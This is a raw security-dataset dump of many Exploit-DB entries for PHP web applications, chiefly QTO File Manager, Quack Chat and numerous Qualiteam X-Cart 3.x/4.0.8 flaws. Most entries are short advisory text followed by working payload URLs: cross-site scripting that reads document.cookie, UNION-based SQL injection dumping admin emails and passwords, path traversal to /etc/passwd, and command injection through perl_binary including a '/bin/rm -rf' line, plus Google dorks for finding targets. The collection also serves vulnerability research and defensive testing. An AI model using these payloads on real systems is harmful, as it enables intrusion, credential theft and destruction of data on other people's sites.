deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31750
Description: QTO File Manager 1.0 - 'qtofm.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-05-06
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/29072/info

QTO File Manager is prone to a vulnerability that lets remote attackers upload and execute arbitrary script code because the application fails to sanitize user-supplied input.

An attacker can leverage this issue to execute arbitrary code on an affected computer with the privileges of the webserver process. 

http://www.example.com/qtofm.php?[shell.php.jpg]
Exploit-DB #28158
Description: QTO File Manager 1.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-07-03
Author: EllipSiS Security

Exploit:
source: https://www.securityfocus.com/bid/18791/info

QTO File Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before displaying it to users of the application.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://target.xx/qtofm.php?delete=%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E&u=[username]&pathext=1 http://target.xx/qtofm.php?delete=COPYING&u=[username]&pathext=%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script% 3E 
http://target.xx/qtofm.php?u=[username]&pathext=%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E&edit=1 http://target.xx/qtofm.php?u=[username]&pathext=1&edit=%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E --- POST http://target.xx:80/qtofm.php?u=[username]&pathext=1&edit=readme%2Etxt HTTP/1.0 
Accept: */* Content-Type: application/x-www-form-urlencoded Host: target.xx Content-Length: 117 u=[username]&pathext=%3Cscript%3Ealert(%22Ellipsis%20Security%20Test%22)%3C/script%3E&newcontent=1&save=Save&savefile=1 -------- http://target.xx/qtofm.php?edit=../../../../../../../../../../../../etc/passwd&u=[username]&pathext= http://target.xx/qtofm.php?edit=qtofm.php&u=[username]&pathext=
Exploit-DB #27652
Description: Quack Chat 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-08-17
Author: Dylan Irzi

Exploit:
###########################################################################################
# Exploit Title: Quack Chat 1.0 - XSS / SQL Injection / Path Diclosure
# Date: 15 de Agosto del 2013
# Exploit Author: Dylan Irzi
# Credit goes for: websecuritydev.com
# Vendor Homepage: http://www.quack-chat.com/
# Tested on: Win8 & Linux Mint
# Affected Version : 1.0
# Contacts: { https://twitter.com/Dylan_irzi11 , http://websecuritydev.com/}
# Greetz: All team WebSecuritydev.
###########################################################################################

Cross Site Scripting:
Archivos Afectados Afectados

qchat.php
qc_admin/index.php?p=history

PoC:
localhost/qchat.php
Vector: ""><img src=x onerror=prompt(/XSS/);>>

Input:
<input id="name" type="text" style="width:200px;" name="name">
Is Reflected: localhost/qc_admin/index.php?p=history

PoC #2:
localhost/qc_admin/index.php?p=history&page=2+(XSS Vector)
Example:
localhost/qc_admin/index.php?p=history&page=2%22%22%3E%3Cimg%20src=x%20onerror=prompt%28/XSS/%29;%3E%3E

-------------------------------------------------------------------
SQL Injection

localhost/qc_admin/index.php?p=history&id=(SQL Injection)
localhost/qc_admin/index.php?p=history&page=(SQL Injection)

# Exploit-DB note: Here's a PoC:
# <server>/qc_admin/index.php?p=history&id=1 and sleep(10)

Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET
CLR 2.0.50727)
Cookie: PHPSESSID=7d87f[PII_REDACTED]37ae3893189e2ff0e

(Remplazar por una Session Cookie Valida)

-------------------------------------------------------------------
Path Diclosure

localhost/qc_admin/index.php?p=history&id='

in /var/www/chat/qc_admin/index.php on line 249

--------------------------------------------------------------------

*By Dylan Irzi
@Dylan_Irzi11
Pentest de Seguridad.

*
Exploit-DB #41318
Description: Quadz School Management System 3.1 - 'uisd' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-12
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Quadz School Management System v3.1 - SQL Injection
# Google Dork: N/A
# Date: 12.02.2017
# Vendor Homepage: http://awardcorporation.com/
# Software Buy: https://codecanyon.net/item/quadz-school-management-system/10452009
# Demo: http://mass.awardcorporation.com/
# Version: 3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as student user
# http://localhost/[PATH]/index.php/sclass/ownClassRoutin?uisd=[SQL]
# http://localhost/[PATH]/index.php/suggestion/own_suggestion?uisd=[SQL]
# # # # #
Exploit-DB #15748
Description: QualDev eCommerce script - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-16
Author: ErrNick

Exploit:
====================================================
QualDev eCommerce script SQL injection vulnerability
====================================================


# Exploit Title: QualDev eCommerce script SQL injection vulnerability
# Vendor: http://www.qualdev.com
# Date: 15.12.2010
# Version: all version
# Category:: webapps
# Google dork: inurl:"index.php?file=allfile"
# Tested on: FreeBSD 7.1
# Author: ErrNick
# Site: XakNet.ru, forum.xaknet.ru
# Contact: errnick[at]xaknet[dot]ru
# Greatz 2 all memberz of XakNet team ( X1mk0~, Saint, baltazar, SHYLLER,
Kronus, mst && others)

# Intro:

- A parameter is not properly sanitised before  being used in a SQL query.
- Input  passed   to   "id"  parameter  is  not  properly
- sanitised before being used in a SQL query.  This  can be
- exploited  to  manipulate  SQL   queries   by   injecting
- arbitrary SQL code.

# Exploit:


index.php?file=allfile&id=-9999+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin

  logining with admin email && password there
  http://victim/adminpanel/

#Demo:

-
http://www.site.com/index.php?file=allfile&id=-40+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin
-
http://www.site.com/index.php?file=allfile&id=-9999+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin
-
http://www.site.com/index.php?file=allfile&id=-9999+union+select+1,2,3,concat_ws(0x3a,vemail,vpassword),5,6,7+from+admin


Vizit us at http://xaknet.ru
Exploit-DB #23636
Description: Qualiteam X-Cart 3.x - 'general.php?perl_binary' Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2004-02-03
Author: Philip

Exploit:
source: https://www.securityfocus.com/bid/9560/info

X-Cart has been reported to be prone to an issue that may allow remote attackers to execute arbitrary commands on the affected system. The issue is caused by a failure of the application to sanitize values specified by parameters in the URI. 

http://server/admin/general.php?mode=perlinfo&config[General][perl_binary]=/bin/ls -lR ||
Exploit-DB #23637
Description: Qualiteam X-Cart 3.x - 'upgrade.php?perl_binary' Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2004-02-03
Author: Philip

Exploit:
source: https://www.securityfocus.com/bid/9560/info
 
X-Cart has been reported to be prone to an issue that may allow remote attackers to execute arbitrary commands on the affected system. The issue is caused by a failure of the application to sanitize values specified by parameters in the URI. 

http://server/admin/upgrade.php?prepatch_errorcode=1&patch_files[0][orig_file]=VERSION&perl_binary=/bin/rm -rf &patch_exe=..
Exploit-DB #23639
Description: Qualiteam X-Cart 3.x - Multiple Remote Information Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2004-02-03
Author: Philip

Exploit:
source: https://www.securityfocus.com/bid/9563/info

X-Cart has been reported to be prone to an issue that may allow remote attackers to view any web server readable files on the affected system. The issue is caused by a failure of the application to sanitize values specified by parameters in the URI. This issue has been reported to affect the 'auth.php' script.

It has been reported that there is also an information disclosure issue with the 'general.php' script that resides in the 'admin' directory of the application. The 'mode' URI parameter can be set to request information on the current PHP and Perl software versions, allowing potential attackers the gain access to sensitive system details. 

http://servername/customer/auth.php?config[General][shop_closed]=Y&shop_closed_file=../../../../../../../etc/passwd
Exploit-DB #25761
Description: Qualiteam X-Cart 4.0.8 - 'error_message.php?id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
  
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
  
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/error_message.php?access_denied&id='><script>alert(document.cookie)</script>
Exploit-DB #25769
Description: Qualiteam X-Cart 4.0.8 - 'error_message.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
          
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
          
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
          
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/error_message.php?access_denied&id='[SQL-inj]
Exploit-DB #25766
Description: Qualiteam X-Cart 4.0.8 - 'giftcert.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
       
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
       
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
       
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/giftcert.php?gcid='><script>alert(document.cookie)</script>
http://www.example.com/giftcert.php?gcindex='><script>alert(document.cookie)</script>
Exploit-DB #25774
Description: Qualiteam X-Cart 4.0.8 - 'giftcert.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
               
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
               
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
               
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/giftcert.php?gcid='[SQL-inj]
http://www.example.com/giftcert.php?gcindex='[SQL-inj]
Exploit-DB #25762
Description: Qualiteam X-Cart 4.0.8 - 'help.php?section' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
   
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
   
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/help.php?section='><script>alert(document.cookie)</script>
Exploit-DB #25770
Description: Qualiteam X-Cart 4.0.8 - 'help.php?section' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
           
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
           
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
           
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/help.php?section='[SQL-inj]
Exploit-DB #25759
Description: Qualiteam X-Cart 4.0.8 - 'home.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info

X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.

X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well. 

http://www.example.com/home.php?cat='><script>alert(document.cookie)</script>
http://www.example.com/home.php?printable='><script>alert(document.cookie)</script>
Exploit-DB #25767
Description: Qualiteam X-Cart 4.0.8 - 'home.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
        
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
        
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
        
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/home.php?cat='[SQL-inj]
http://www.example.com/home.php?printable='[SQL-inj]
Exploit-DB #25763
Description: Qualiteam X-Cart 4.0.8 - 'orders.php?mode' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
    
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
    
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/orders.php?mode='><script>alert(document.cookie)</script>
Exploit-DB #25771
Description: Qualiteam X-Cart 4.0.8 - 'orders.php?mode' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
            
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
            
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
            
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/orders.php?mode='[SQL-inj]
Exploit-DB #25760
Description: Qualiteam X-Cart 4.0.8 - 'product.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
 
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
 
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well. 

http://www.example.com/product.php?productid='><script>alert(document.cookie)</script>
http://www.example.com/product.php?mode='><script>alert(document.cookie)</script>
Exploit-DB #25768
Description: Qualiteam X-Cart 4.0.8 - 'product.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
         
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
         
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
         
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/product.php?productid='[SQL-inj]
http://www.example.com/product.php?mode='[SQL-inj]
Exploit-DB #25764
Description: Qualiteam X-Cart 4.0.8 - 'register.php?mode' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
     
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
     
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/register.php?mode='><script>alert(document.cookie)</script>
Exploit-DB #25772
Description: Qualiteam X-Cart 4.0.8 - 'register.php?mode' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-30
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13817/info
             
X-Cart is prone to SQL injection and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
             
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may also steal cookie-based authentication credentials and carry out other attacks.
             
X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well.

http://www.example.com/register.php?mode='[SQL-inj]